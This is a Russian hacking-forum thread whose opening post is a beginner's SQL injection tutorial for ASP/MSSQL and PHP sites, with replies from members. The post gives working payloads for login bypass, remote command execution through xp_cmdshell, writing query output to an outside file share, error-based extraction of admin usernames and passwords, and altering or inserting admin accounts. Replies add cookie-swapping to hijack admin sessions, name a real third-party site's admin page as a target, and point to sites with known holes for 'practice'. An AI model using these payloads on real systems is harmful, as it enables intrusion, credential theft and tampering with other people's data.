1. Теперь за форумную активность начисляются биткоины и другие криптоденьги. Подробнее.
    Скрыть объявление
  2. Появилась архивная версия форума arhiv.xaker.name, где собраны темы с 2007 по 2012 год.
    Скрыть объявление

SQL Injection для чайников

Тема в разделе "Web-хакинг", создана пользователем rijy, 6 авг 2006.

  1. rijy
    rijy Админ
    Симпатии:
    174
    SQL Injection для чайников, взлом ASP+MSSQL

    Эта статья предназначена для того, чтобы помочь новичкам справиться с проблемами, с которыми они могут столкнуться при использовании техники SQL Injection, успешно использовать ее и уметь защитить себя от подобных нападений.

    Введение
    Когда у интересующего сервера открыт только 80 порт, и сканер уязвимостей не может сообщить ничего интересного, и вы знаете, что системный администратор всегда очень оперативно устанавливает все заплаты на web-сервер, последним нашим шансом остается web-взлом. SQL injection - один из типов web-взлома, которые используют только 80 порт, и может сработать, даже при своевременно установленных заплатах. Это нападение более направлено на web-приложения (типа ASP, JSP, PHP, CGI, и т.д), чем непосредственно на web-сервер или сервисы в ОС.
    Эта статья не содержит никаких новых истин, SQL injection широко описан и повсеместно используется. Статья больше предназначена для новичков, но, быть может, и профессионалы смогут найти одну-две новые уловки. Также рекомендую просмотреть приведенные в конце статьи ссылки для получения более подробной информации от специалистов в данной области.

    Что такое SQL Injection?
    SQL Injection - метод, предназначенный для введения SQL запросов/команд через web-страницы. Многие web-страницы используют параметры, представленные Web пользователям, и делают SQL запрос базы данных. Возьмем для примера случай с логином пользователя, когда имеется web-страница c именем и паролем и производится SQL запрос в базе данных, для осуществления проверки, имеется ли зарегистрированный пользователь с таким именем и паролем. С использованием SQL Injection можно послать придуманное имя пользователя и/или поле пароля, изменяющее SQL запрос, что может предоставить нам кое-что интересное.

    Что мы должны искать
    Попробуйте найти страницы, которые запрашивают у вас данные, например страница поиска, обсуждений, и т.д. Иногда html страницы используют метод POST, чтобы послать команды другой Web странице. В этом случае вы не увидите параметры в URL. Однако в этом случае вы можете искать тэг "FORM" в исходном коде HTML страниц. Вы найдете, что-то типа такого:
    <FORM action=Search/search.asp method=post>
    <input type=hidden name=A value=C>
    </FORM>
    Все параметры между <FORM> и </FORM> потенциально могут быть уязвимы к введению SQL кода.

    Как мне проверить что то, что я нашел, уязвимо?
    Попробуйте начать с одиночной кавычки. Введите следующую строку:
    hi' or 1=1--
    в поле имя пользователя или пароль, или даже в URL параметре. Пример:
    Login: hi' or 1=1--
    Pass: hi' or 1=1--
    http://duck/index.asp?id=hi' or 1=1--
    Если вы делали это со скрытым полем, только загрузите исходный HTML, сохраните его на жестком диске, измените URL и скрытое поле соответственно. Пример:

    <FORM action=http://duck/Search/search.asp method=post>
    <input type=hidden name=A value="hi' or 1=1-- ">

    </FORM>
    Если удача на вашей стороне, вы войдете в систему без имени или пароля.

    Но почему ' or 1=1--?
    Давайте рассмотрим другой пример, который объясняет полезность конструкции ' or 1=1-- . Кроме обхода регистрации, также можно рассмотреть дополнительную информацию, которая обычно не доступна. Рассмотрим asp страницу, которая ссылается на другую страницу со следующим URL:
    http://duck/index.asp?category=food
    В URL, 'category' это имя переменной, и 'food' значение, назначенное этой переменной. Чтобы это сделать, asp страница может содержать следующий код:
    v_cat = request("category")
    sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
    set rs=conn.execute(sqlstr)
    как видно, наша переменная будет объединена с v_cat и таким образом SQL запрос должен стать:
    SELECT * FROM product WHERE PCategory='food'
    Этот запрос должен возвратить набор, содержащий одну или более строк, которые соответствуют условию WHERE, в этом случае 'food'. Теперь изменим URL следующим образом:
    http://duck/index.asp?category=food' or 1=1--
    SELECT * FROM product WHERE PCategory='food' or 1=1--


    Этот запрос возвратит все строки в таблице product, независимо от того, Pcategory равен 'food' или нет. Двойная черточка "-" сообщает, что MS SQL сервер игнорирует остальную часть запроса, которая следует за одиночной кавычкой ('). Иногда можно заменить двойную черточку на диез "#".

    Однако, если используется не SQL сервер, или вы не можете игнорировать остальную часть запроса, пробуйте:
    ' or 'a'='a
    Теперь SQL запрос станет:
    SELECT * FROM product WHERE PCategory='food' or 'a'='a'
    Этот запрос возвратит тот же самый результат.
    В зависимости от фактического SQL запроса, вероятно, придется пробовать некоторые из этих возможностей:
    ' or 1=1--
    " or 1=1--
    or 1=1--
    ' or 'a'='a
    " or "a"="a
    ') or ('a'='a

    Как можно удаленно выполнять команды, используя SQL injection?
    Возможность вводить SQL команду обычно означает, что мы можем выполнять SQL запросы по желанию. Заданная по умолчанию инсталляция MS SQL Server выполняется с системными правами. Мы можем вызвать встроенные процедуры, типа master..xp_cmdshell, для удаленного выполнения произвольных команд:
    '; exec master..xp_cmdshell 'ping 10.10.1.2' --
    Попробуйте использовать двойные кавычки ("), если (') не срабатывает.

    Точка с запятой закончит текущий SQL запрос и позволит вам запускать новые SQL команды. Чтобы проверить, выполнена ли команда успешно, вы можете проверить ICMP пакеты в 10.10.1.2, присутствуют ли в них какие либо пакеты с уязвимого сервера.
    Если вы не получили никакой запрос утилиты ping от сервера, и получаете сообщение об ошибке, указывающее ошибку разрешения, возможно, что администратор ограничил доступ Web пользователя к сохраненным процедурам.

    Как получить результаты моего SQL запроса?
    Можно использовать sp_makewebtask, чтобы записать ваш запрос в HTML:
    '; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
    Указываемый IP должен иметь папку "share" с доступом для Everyone.

    Как получить данные из базы данных, используя ODBC сообщение об ошибках?
    Мы можем использовать информацию из сообщения об ошибке, произведенной SQL сервером, чтобы получить любые данные. Например, рассмотрим следующую страницу:
    http://duck/index.asp?id=10

    Теперь мы попробуем объединить целое 10 с другой строкой в базе данных:
    http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
    Системная таблица INFORMATION_SCHEMA.TABLES содержит информацию всех таблиц на сервере.
    Поле TABLE_NAME очевидно содержит имя каждой таблицы в базе данных. Она была выбрана, потому что мы знаем, что она всегда существует. Наш запрос:

    SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

    Этот запрос возвратит первое имя в базе данных. Когда мы UNION это строковое значение к целому 10, MS SQL Server попытается преобразовать строку nvarchar к integer. Это вызовет ошибку, которая сообщит, что не может преобразовать nvarchar к int. Сервер выдаст следующую ошибку:
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
    /index.asp, line 5
    Сообщение об ошибке содержит информацию о значении, которое не может быть преобразовано в целое. В этом случае, мы получили имя первой таблицы - "table1".
    Для получения следующего имени таблицы, мы можем использовать следующий запрос:

    http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
    Мы также можем искать данные, используя ключ LIKE:
    http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

    Выдаст:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5
    Соответствующая конструкция '%25login%25' будет заменена на %login% в SQL сервере. В этом случае, мы получим имя таблицы, которая соответствует критерию "admin_login".

    Как узнать все имена столбцов в таблице?
    Мы можем использовать таблицу INFORMATION_SCHEMA.COLUMNS, чтобы отобразить все имена столбцов в таблице:
    http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'

    Выдаст:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
    /index.asp, line 5

    Теперь, когда мы узнали первое имя столбца, мы можем использовать NOT IN(), чтобы получить имя следующего столбца:

    http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')

    Выдаст:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
    /index.asp, line 5
    Продолжая, мы получим остальные имена столбцов, т.е. "password", "details", пока не получим следующую ошибку.

    http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
    Выдаст:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
    [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
    /index.asp, line 5

    Как нам получить нужные нам данные?
    Теперь, когда мы идентифицировали некоторые важные таблицы, мы можем использовать ту же самую методику, что бы получить информацию из базы данных.

    Давайте получим первый login_name из таблицы "admin_login":

    http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

    Выдаст:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
    /index.asp, line 5

    Теперь мы знаем, что есть admin пользователь с именем входа в систему "neo". Наконец, мы можем получить пароль "neo":
    http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

    Выдаст:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
    /index.asp, line 5

    Теперь мы сможем войти в систему как "neo" с паролем 'm4trix'.

    Как получить числовое значение строки?
    Есть ограничение в методе, описанном выше. Мы не сможем получить сообщение об ошибке, если мы попробуем преобразовать текст, который состоит из числа (только символы между 0...9). Сейчас мы опишем получение пароля "31173" у пользователя "trinity":

    http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

    Мы вероятно получим ошибку "Page Not Found". Причина в том, что пароль "31173" будет преобразован в число, перед UNION с целым числом ( в нашем случае 10). Так как получится правильное UNION выражение, SQL сервер не выдаст сообщение об ошибке, и таким образом мы не сможем получить числовую запись.
    Чтобы решить эту проблему, мы можем добавить в конец числовую строку с некоторыми буквами, чтобы преобразование не прошло. Измененный запрос:

    http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

    Мы просто используем знак "плюс" (+) для того, чтобы добавить в конец пароль с любым текстом (ASSCII кодирование для '+' = 0x2b). Затем, мы добавим в конец '%20morpheus' в фактический пароль. Поэтому, даже если значение пароля '31173', он станет '31173 morpheus'. Вручную вызывая функцию convert(), пытаясь преобразовать ' 31173 morpheus' в целое число, SQL Сервер выдаст ODBC сообщение об ошибке:
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
    /index.asp, line 5

    Теперь мы сможем войти в систему как "trinity" с паролем '31173'.

    Как модифицировать/вставить данные в базу данных?
    После того, как мы получили имена всех столбцом в таблице, мы сможем обновить(UPDATE) или даже вставить (INSERT) новую запись в таблицу. Например, мы можем изменить пароль для "neo":

    http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo--

    Чтобы внести (INSERT) новую запись в базу данных:

    http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

    Теперь мы сможем войти в систему как "neo" с паролем 'newpas5'.

    Как избежать SQL Injection?
    Фильтруйте специальные символы во всех строках в:

    - любых данных, вводимых пользователем
    - URL параметрах
    - Cookie
    Для числовых значений, конвертируйте их к integer, перед передачей их к SQL запросу. Или используйте ISNUMERIC, чтобы удостовериться это целое число.
    Запускайте SQL сервер как непривилегированный пользователь.

    Удалите неиспользуемые сохраненные процедуры: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
     
    6 авг 2006
  2. faust
    faust Новичок
    Симпатии:
    0
    Как новичку мало понятного мм поподробнее в детальх хотелось бы
     
    10 авг 2006
  3. rijy
    rijy Админ
    Симпатии:
    174
    спрашивай)) помогу, чем смогу..
     
    11 авг 2006
  4. SilentTwilight
    SilentTwilight Новичок
    Симпатии:
    18
    rijy, чтобы чайнички не вскипели, хотелось бы видеть не только голую информацию, но реальный пример. Даже если параллельно проводить.
    Типа, "Использование функции "бла-ла-ла". Она делает Ла-ла и ло-ло. Например, введите <адрес>. должно высветиться бла-бла или бло-бло. например, на сайте <адрес>"
    ну, в таком духе...
     
    13 авг 2006
  5. rijy
    rijy Админ
    Симпатии:
    174
    ок! разберем на примере..

    Например, проверка логина и пароля, на PHP может иметь следующий вид:

    Код:
     
    $result=mysql_db_query($db,"SELECT * FROM $table WHERE user='$login' AND
    pass='$password'"); 
    $num_rows=mysql_num_rows($result); 
    mysql_close($link); 
    if ($num_rows!=0) 
    { 
    // AUTHENTICATION OK 
    } 
    else 
    { 
    // AUTHENTICATION ERROR 
    } 
    
    Здесь два комментария: "AUTHENTICATION OK " - вместо него должен идти код, который исполнится в том случае, если пароль и логин верны. Другой "AUTHENTICATION ERROR " - место где будет описан код, исполняющийся в случае их неправильности. Если заполнить форму, то запрос получится похожим на "http://www.server.com?login=user&password=31337", где www.server.com имя сервера, к которому мы пытаемся подключиться. Тогда сформированный SQL запрос будет иметь следующий вид:

    SELECT * FROM users WHERE login='user' AND password='31337'

    Это значит примерно следующее: верни мне все записи из базы данных users у которых логин "user", а пароль "31337". Если существует такая запись, значит пользователь зарегистрирован, ну а если нет, то нет... Но при определенных обстоятельствах все можно исправить. Имеется ввиду ситуация, когда приложение не проверяет содержимое передаваемых данных или проверяет не полностью, на наличие SQL инструкций. В данном примере сверяются два поля login и password, но если в качестве пароля указать "31337' AND email='user@server.com"(без двойных кавычек), то запрос получится уже немного другим:

    SELECT * FROM users WHERE login='user' AND password='31337' AND email='user@server.com'

    И в случае существования поля email это условие также будет проверено. Если вспомнить основы булевой алгебры, то приходит в голову что кроме операции "и" существует и "или", а поскольку их использование поддерживается SQL, можно выше описанным способом добавить условие которое всегда возвращает истину. Для осуществления данного, необходимо в качестве логина указать "user' OR 1=1--", в таком случае запрос примет вид:

    SELECT * FROM users WHERE login='user' OR 1=1--' AND password='31337'

    Для начала следует знать, что "--" означает конец запроса, и все после "--" обрабатываться не будет! Получается, словно мы сделали запрос:

    SELECT * FROM users WHERE login='user' OR 1=1


    Как вы видите мы добавили условие "1=1", значит критерием проверки будет "если логин 'user' или 1=1", а 1 всегда равно 1. Чтобы проверить наши подозрения забиваем в адресной строке "http://www.server.com?login=user or 1=1--&password=31337". Это приводит к тому, что не играет роли какой именно логин мы указали, а тем более пароль!

    Но это все в теории. На практике нам неизвестно каким образом формируется запрос, какие данные передаются и в какой последовательности. Поэтому необходимо указывать "user' OR 1=1--" для всех полей. Также следует проверить форму отправки на наличие скрытых полей. В HTML они описываются как "<INPUT TYPE=HIDDEN VALUE='значение' >". Если таковые существуют, сохраните страницу и поменяйте значения данных полей. Значения содержащиеся в них часто забывают проверять на наличие SQL инструкций. Но чтобы все заработало следует в форме (тэг "FORM") для параметра "ACTION" указать полный путь к скрипту, что обрабатывает данный запрос.

    Но не всегда также известно как сформирован запрос, прошлый пример можно было сформировать и следующими способами:

    SELECT * FROM users WHERE (login='user' AND password='31337')
    SELECT * FROM users WHERE login="user" AND password="31337"
    SELECT * FROM users WHERE login=user AND password=31337

    и т.д.

    В таком случае можно попробовать следующие варианты:

    ' OR 1=1--
    " OR 1=1--
    OR 1=1--
    ' OR 'a'='a
    " OR "a"="a
    ') OR ('a'='a
    OR '1'='1'

    Все зависит от предназначения скрипта, и от программиста. Поскольку каждому человеку свойственно все делать по своему, то вполне возможно, что программист выберет не самый простой вариант. Поэтому не следует сразу сдаваться, если вы получите отказ. Необходимо испробовать как можно большее количество вариантов...
     
    14 авг 2006
  6. `slash`
    `slash` Новичок
    Симпатии:
    0
    Очень интересно! спасибо за такую статью и тему.
    Я совсем недавно начал интерисоваться SQL, по этому подобные статьи очень помогают в понимании принципов.
    Будьте добры объясните как загружаться со страницы сохранённой на компе?
    Есть пару идей.. а точнее вопросов.. вам конечно они могут показаться глупыми, так что вы не смейтесь если что ;)
    Вообщем допустим есть форум на phpBB 2.0.19 , и он использует SQL базу, надо зайти под конкретным юзером. Вот такая мысль - реально ли сделать так что-бы при входе с сохранённой страницы /login.php, при вводе определённых занчений в поле пароля (логин известен) получать ответ например в виде востановления пароля этого пользователя на ящик (свой :)), либо какой другой полезный в данном случае ответ сервера , пример номер 2 - изменить код страницы так чтобы пользователь искался не по паролю а по зарегеному мылу, тоесть вводишь в поле пароля мыло и логинишся под юзером....?
    ......немного запутано получилось.. сори..
    Короче вообщем вопрос заключается в том насколько можно изменить страницу для своей выгоды и как это будет выглядеть в коед.. тоесть какие параметры или значения нужно менять и как ?
    Без приколов только... ыыыы
    Спасибо!
     
    Последнее редактирование: 28 авг 2006
    28 авг 2006
  7. rijy
    rijy Админ
    Симпатии:
    174
    тебе не надо, пасс менять.. просто куки поменяй, и зайди под админским аккаунтом. куки вручную меняй или прогами.
     
    29 авг 2006
  8. `slash`
    `slash` Новичок
    Симпатии:
    0
    что-то не пойму.. где ж я их возьму куки.. да ещё админа ?
    и скажите же как зайти с сохранённой страницы ? : )
     
    29 авг 2006
  9. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    241
    А вот на этой страничке можно показать где ставить "Hi' or 1=1"??...Или она неуязвима?
     
    Последнее редактирование: 11 окт 2008
    11 окт 2008
  10. xeran
    xeran Продвинутый
    Симпатии:
    46
    Hookman,
    дык этоже хтмл код если не ошибаюся. А не пхп.
     
    11 окт 2008
  11. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    241
    Не подскажешь как сделать запрос в гугле чтобы выдавало странички написаные на PHP?
     
    12 окт 2008
  12. NetSky
    NetSky адепт Модератор
    Симпатии:
    90
    А поиск помучать, никак?

     
    12 окт 2008
  13. wriwel
    wriwel «ёлки!» Продвинутый
    Симпатии:
    77
    filetype: php
     
    12 окт 2008
  14. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    241
    _http://promogolf.com.au/AdminLogin.php Вот страница на ПХП, но код всё равно на HTML...
    Код:
    <html>
    <head>
    <title>AdminLogin</title>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    <style type="text/css">
    <!--
    .style1 {
    	font-size: 12px;
    	font-family: Verdana, Arial, Helvetica, sans-serif;
    	color: #FFFFFF;
    }
    -->
    </style>
    </head>
    
    <body bgcolor="#009900">
    <table width="700" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td><img src="Assets/PageTopAdmin.gif" width="760" height="181"></td>
      </tr>
      <tr>
        <td bgcolor="#006600"><form name="form1" method="POST" action="/AdminLogin.php">
            <div align="center">
              <p class="style1">Admin Login </p>
              <p>
                <input name="username" type="text" id="username">
                <br>
                <input name="password" type="password" id="password">
                <br>
                <input type="submit" name="Submit" value="Submit">
              </p>
            </div>
          </form></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
    </table>
    </body>
    </html>
     
    Последнее редактирование: 23 янв 2009
    12 окт 2008
  15. wriwel
    wriwel «ёлки!» Продвинутый
    Симпатии:
    77
    Эмм.. логично что сорец тебе не покажут, генерится html с помощью php и выдается тебе.. все правильно)

    Это еще неизвестно, пробуй в форму вводить. Думаю не прокатит.. слишком старая бага
     
    12 окт 2008
  16. NetSky
    NetSky адепт Модератор
    Симпатии:
    90
    Пхп-код выполняется на сервере! То есть в браузере ты никак не увидишь пхп-код, только результат его выполнения.
    Почитай статьи по скл-инж*, ты можешь внедрить свой запрос в код, если переменная не фильтруется или недостаточно фильтруется, потренируйся на сайтах, на которых уже обнаружена уязвимость http://xaker.name/forvb/showthread.php?t=4278&page=16

    *: http://xaker.name/forvb/showthread.php?t=4675 , http://xaker.name/forvb/showthread.php?t=6950 ,
    http://xaker.name/forvb/showthread.php?t=4 , http://xaker.name/forvb/showthread.php?t=6146
    ------------------------------------------------
    _http://on-line-teaching.com/html/lsn001.html - основы хтмл
    _http://netck.ru/readarticle.php?article_id=13 - основы пхп

    Видео тебе тож поможет:

    http://xaker.name/forvb/showthread.php?t=4237
    _http://video.antichat.ru/0_0.html
     
    12 окт 2008
  17. tuy
    tuy Новичок
    Симпатии:
    0
    Помогите пожалуйсто с ответом на несколько моих ламерских вопросов=)

    1)Итак, я нашёл уязвимость, подобрал кол-во полей, узнал версию(>5), юзера, БД, но information_schema гдето нету, попробовал по подбирать название таблицы в ручную, но нашёл только news, так как load_file() некатит мне это не пригодилось. Мне нужна только таблица с логин:пасом админа, но подобрать не могу... я слышал про посимвольный перебор, но нашёл статьи только как посимвольно подбирать имя юзера, название бд,версию, или значение зазой либо ячейки таблицы,зная название таблицы и название столбца.
    как мне подобрать название таблицы? есть ли техника посимвольного перебора названий таблиц или это возможно только брутом?дайте плиз ссылки на эксплоиты или статьи посвещённые перебору названия таблиц.
    2)через скулю могу вытащить имя таблицы номер 0 в information_schema.tables, подставляю limit+1,1- вытаскиваю название таблицы номер 1 и т.д. (думаю вы поняли, что выводится на страницу только по одной записи, иначе бы я не задавал этот вопрос), но таблиц около 650 О_о, сидеть и перетыркивать каждую подрад чтобы только узнать её имя и БД - неинтересно...
    Может ли кто набросать мне небольшой скриптик, желательно на перле, чтобы тот в запросе изменял только одну цифру(limit+n,1) и записывал результаты (table_name, table_schema) в файл.txt; или скажите где можно найти готовый скрипт?
    3) если страница с id=1 имеет тот же контент что и id=2-1 это как известно уязвимость, но можно ли что нибудь сделать если не работает выражениz id=1+1 ; id=1,char(43),1 ; id=1,0x2b,1 , то можно ли вообще чтото сделать или это бесполезно?
    спасибо, зарание=)
     
    2 ноя 2008
  18. xeran
    xeran Продвинутый
    Симпатии:
    46
    1. Мальнько не понял "версию(>5)" значит 5 версия.
    То как понять "гдето нету"?
    Насчет посимвольного перебора то вот норм пхп скриптик

    2. Поиск в руки проги есть и на хакер найме так же можно найти в гугле. Прямых ссылок на проги не даю, так как без труда и не хекнешь сайт из интернета))

    3. Если нет реакции на ковычку и d=1+1 и тд то вероятно что уязвимости нет.
     
    2 ноя 2008
  19. tuy
    tuy Новичок
    Симпатии:
    0
    примечание к 1)
    версия 5... цыфры которые дальше не помню по этому написал >5 ну в общем версия 5 =) . это значит что должна быть inf.._schema но при обращение к information_schema.tables появляется ошибка, из этого я и решил что её нет=) в остальном думаю вопрос понятен
    на счёт 2) понятно другого ответа впринцыпе я и не ожидал,сам понимаю что нужно учиться=) просто форумные поисковики находят нужную мне инфу на форуме медленней чем я нахожу её тупым просмотром всех разделов етого форума=))
    3) в большинстве FAQ'ов вывод страницы с id=1 при запросе id=2-1 обьясняется как наличие инъекции, но часто встречается (по крайней мере я натыкался на такое раз 5, за свою недолгую практику) когда id=2-1 выполняется правильно, с точки зрения, хакера, естественно=) а провести инъекцию не получается...
    Тоесть sql решает алгебраическое действие 2-1=1, в некоторых случаях даже id=char(49) выводит страницу с id=1 тоесть исполняются функции, но даже если весь запрос перевести в char а в запросе будет выражение 1+1 то всё равно выводиться страница с id=1... это я думаю означает полное фильтрование знака пльс в любой кодировке...
    есть ли другие способы заменить + , кроме char(43),0x2b,/**/ ?
     
    2 ноя 2008
  20. NetSky
    NetSky адепт Модератор
    Симпатии:
    90
    Эээм, всегда надо уметь представить как это все (уязвимость) выглядит в пхп-коде. Ибо операция (id=2-1) может выполняться и ресурс может быть уязвим, просто скорее всего ты неправильно используешь уязвимость.
    Вот тут нужно немного опыта написания скриптов на пхп, это уж надо самому осваивать... Как напишешь собственную гостевую, многое прояснится, ибо ты взглянишь на это изнутри, так сказать. Ну вокруг да около ходить можно долго, может даш ссылочку на ресурс, я гляну...
     
    2 ноя 2008

Поделиться этой страницей

Загрузка...